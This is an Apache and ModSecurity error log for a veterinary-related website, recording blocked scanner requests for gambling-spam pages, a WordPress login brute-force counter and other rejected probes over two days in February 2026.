[Sat Feb 14 21:28:27.693238 2026] [:error] [pid 39456:tid 39489] [client 51.83.237.175:53430] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZB4e4KeIqKLynHIGnji0gAAAkM"]
[Sat Feb 14 21:28:30.378086 2026] [:error] [pid 39456:tid 39500] [client 51.83.237.175:53444] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZB4foKeIqKLynHIGnji2QAAAk4"]
[Sat Feb 14 21:28:32.748334 2026] [:error] [pid 39456:tid 39490] [client 51.83.237.175:53446] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZB4gIKeIqKLynHIGnji2wAAAkQ"]
[Sat Feb 14 21:28:35.067847 2026] [:error] [pid 36056:tid 36068] [client 51.83.237.175:53448] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZB4g7v3wQbSPS1vpOgklQAAAAo"]
[Sat Feb 14 21:28:37.576908 2026] [:error] [pid 36219:tid 36272] [client 51.83.237.175:39482] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZB4hZe-m2OpEy0FNjhgoAAAA5g"]
[Sat Feb 14 21:28:40.068766 2026] [:error] [pid 53920:tid 53959] [client 51.83.237.175:39486] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZB4iCrmNDNQ_-GD91KF9wAAAUo"]
[Sat Feb 14 21:28:42.594253 2026] [:error] [pid 53981:tid 54052] [client 51.83.237.175:39498] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZB4itGxz-sjlGLnWnvVrAAAA08"]
[Sat Feb 14 21:28:45.150356 2026] [:error] [pid 36056:tid 36074] [client 51.83.237.175:39508] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZB4jbv3wQbSPS1vpOgkmQAAABA"]
[Sat Feb 14 21:28:47.721612 2026] [:error] [pid 36056:tid 36081] [client 51.83.237.175:40984] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZB4j7v3wQbSPS1vpOgkmgAAABc"]
[Sat Feb 14 21:28:50.188327 2026] [:error] [pid 36056:tid 36066] [client 51.83.237.175:41000] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZB4krv3wQbSPS1vpOgknQAAAAg"]
[Sat Feb 14 21:28:52.541307 2026] [:error] [pid 53979:tid 53985] [client 51.83.237.175:41002] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZB4lIfb_0QPnk6UIuNaLwAAAYI"]
[Sat Feb 14 21:28:55.081589 2026] [:error] [pid 26150:tid 26174] [client 51.83.237.175:41004] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZB4l6qmPH3D5QJaUSHXTQAAAJQ"]
[Sat Feb 14 21:28:57.507296 2026] [:error] [pid 36219:tid 36270] [client 51.83.237.175:57996] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZB4mZe-m2OpEy0FNjhgswAAA5Y"]
[Sat Feb 14 21:29:36.432472 2026] [:error] [pid 36056:tid 36067] [client 51.83.237.175:57998] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZB4wLv3wQbSPS1vpOgk2AAAAAk"]
[Sat Feb 14 21:29:39.015077 2026] [:error] [pid 39456:tid 39488] [client 51.83.237.175:33896] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZB4w4KeIqKLynHIGnjjUAAAAkI"]
[Sat Feb 14 23:55:39.298432 2026] [:error] [pid 28511:tid 28533] [client 43.159.152.4:41610] [client 43.159.152.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZCa-xZ3wyYJRs97ghpX4AAAARM"]
[Sun Feb 15 05:52:07.135037 2026] [:error] [pid 55942:tid 55944] [client 180.110.203.108:43327] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZDuh-Hs6SpnDFDOMlLtjwAAAQA"]
[Sun Feb 15 06:32:26.862971 2026] [:error] [pid 55579:tid 55584] [client 185.117.225.36:58030] [client 185.117.225.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.36, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZD3-hoPnITmiNOenrWpZgAAAMM"]
[Sun Feb 15 11:50:04.724746 2026] [:error] [pid 31679:tid 31722] [client 51.75.119.69:48312] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZFCbBz9Q_0Eh7M-Xr1fwwAAAg0"]
[Sun Feb 15 11:50:05.680433 2026] [:error] [pid 42752:tid 42759] [client 51.75.119.69:48298] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZFCbcClY05C-Gq9l0gbjAAAAsA"]
[Sun Feb 15 11:50:07.186352 2026] [:error] [pid 42753:tid 42804] [client 51.75.119.69:52162] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZFCbwhQMLzszrBLG6e0tAAAA5E"]
[Sun Feb 15 11:50:08.370102 2026] [:error] [pid 31679:tid 31710] [client 51.75.119.69:52176] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZFCcBz9Q_0Eh7M-Xr1fyQAAAgE"]
[Sun Feb 15 11:50:09.653097 2026] [:error] [pid 35557:tid 35585] [client 51.75.119.69:52192] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZFCccI4REuGME4xEbP1QAAAAlY"]
[Sun Feb 15 11:50:10.997439 2026] [:error] [pid 42753:tid 42811] [client 51.75.119.69:52196] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZFCcghQMLzszrBLG6e0uQAAA5g"]
[Sun Feb 15 11:50:12.313700 2026] [:error] [pid 42752:tid 42778] [client 51.75.119.69:52208] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZFCdMClY05C-Gq9l0gbkQAAAtM"]
[Sun Feb 15 12:09:48.922577 2026] [:error] [pid 19652:tid 19666] [client 120.71.59.24:57335] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZFHDDHg2T9K5fiyOL-b8AAAAAw"]
[Sun Feb 15 13:10:10.285565 2026] [:error] [pid 14577:tid 14604] [client 217.182.195.126:57774] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZFVMnTqrkuce6u39HveRAAAARg"]
[Sun Feb 15 13:10:12.831241 2026] [:error] [pid 35557:tid 35577] [client 217.182.195.126:59218] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZFVNMI4REuGME4xEbMGQgAAAk4"]
[Sun Feb 15 13:10:15.165016 2026] [:error] [pid 42754:tid 42829] [client 217.182.195.126:59234] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZFVN-iCZrZWT4BVy12eKwAAA88"]
[Sun Feb 15 13:10:17.676636 2026] [:error] [pid 35497:tid 35547] [client 217.182.195.126:51116] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZFVOcyqpfYzoxiskhs7uAAAANQ"]
[Sun Feb 15 13:10:20.191334 2026] [:error] [pid 42753:tid 42791] [client 217.182.195.126:51138] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZFVPAhQMLzszrBLG6fDCgAAA4Q"]
[Sun Feb 15 13:10:22.722281 2026] [:error] [pid 35497:tid 35551] [client 217.182.195.126:51162] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZFVPsyqpfYzoxiskhs7wgAAANg"]
[Sun Feb 15 13:10:25.079657 2026] [:error] [pid 35557:tid 35577] [client 217.182.195.126:51184] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZFVQcI4REuGME4xEbMGYAAAAk4"]
[Sun Feb 15 13:10:27.403148 2026] [:error] [pid 42754:tid 42822] [client 217.182.195.126:48394] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZFVQ-iCZrZWT4BVy12eOQAAA8g"]
[Sun Feb 15 13:10:29.948829 2026] [:error] [pid 14577:tid 14588] [client 217.182.195.126:48410] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZFVRXTqrkuce6u39HvefwAAAQg"]
[Sun Feb 15 13:10:32.451078 2026] [:error] [pid 42659:tid 42685] [client 217.182.195.126:48430] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZFVSOy3JGHOB-Rj_FZD9AAAAFg"]
[Sun Feb 15 13:10:34.880815 2026] [:error] [pid 35497:tid 35540] [client 217.182.195.126:48442] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZFVSsyqpfYzoxiskhs70QAAAM0"]
[Sun Feb 15 13:10:37.433876 2026] [:error] [pid 42659:tid 42677] [client 217.182.195.126:49532] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZFVTey3JGHOB-Rj_FZEMwAAAFA"]
[Sun Feb 15 13:10:39.908456 2026] [:error] [pid 14577:tid 14604] [client 217.182.195.126:49556] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZFVT3Tqrkuce6u39HvelgAAARg"]
[Sun Feb 15 13:10:42.466229 2026] [:error] [pid 35497:tid 35536] [client 217.182.195.126:49578] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZFVUsyqpfYzoxiskhs7_AAAAMk"]
[Sun Feb 15 13:10:44.837498 2026] [:error] [pid 35557:tid 35575] [client 217.182.195.126:49596] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZFVVMI4REuGME4xEbMGegAAAkw"]
[Sun Feb 15 13:10:47.245762 2026] [:error] [pid 14577:tid 14591] [client 217.182.195.126:37902] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZFVV3Tqrkuce6u39HvexQAAAQs"]
[Sun Feb 15 13:10:49.681558 2026] [:error] [pid 42659:tid 42678] [client 217.182.195.126:37920] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZFVWey3JGHOB-Rj_FZETQAAAFE"]
[Sun Feb 15 13:10:52.156746 2026] [:error] [pid 35557:tid 35572] [client 217.182.195.126:37938] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZFVXMI4REuGME4xEbMGiAAAAkk"]
[Sun Feb 15 13:10:54.626269 2026] [:error] [pid 31679:tid 31717] [client 217.182.195.126:37964] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZFVXhz9Q_0Eh7M-Xr1uZgAAAgg"]
[Sun Feb 15 13:10:56.857157 2026] [:error] [pid 35557:tid 35583] [client 217.182.195.126:50396] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZFVYMI4REuGME4xEbMGlwAAAlQ"]
[Sun Feb 15 13:10:57.028839 2026] [:error] [pid 42753:tid 42787] [client 217.182.195.126:50398] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZFVYQhQMLzszrBLG6fDKwAAA4A"]
[Sun Feb 15 13:10:59.416836 2026] [:error] [pid 42753:tid 42796] [client 217.182.195.126:50420] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZFVYwhQMLzszrBLG6fDLgAAA4k"]
[Sun Feb 15 13:11:01.161458 2026] [:error] [pid 42754:tid 42830] [client 217.182.195.126:50436] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZFVZeiCZrZWT4BVy12eWQAAA9A"]
[Sun Feb 15 13:11:02.090492 2026] [:error] [pid 42754:tid 42814] [client 217.182.195.126:50444] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZFVZuiCZrZWT4BVy12eXQAAA8A"]
[Sun Feb 15 13:11:04.307502 2026] [:error] [pid 42753:tid 42810] [client 217.182.195.126:50458] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZFVaAhQMLzszrBLG6fDMQAAA5c"]
[Sun Feb 15 13:32:29.692272 2026] [:error] [pid 19652:tid 19659] [client 51.75.151.149:56519] [client 51.75.151.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aZFabTHg2T9K5fiyOL-q4gAAAAU"]
[Sun Feb 15 13:56:35.749919 2026] [autoindex:error] [pid 42659:tid 42682] [client 167.86.118.77:61421] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Feb 15 13:59:22.407455 2026] [:error] [pid 31679:tid 31729] [client 43.166.226.186:52498] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZFguhz9Q_0Eh7M-Xr13VwAAAhQ"]
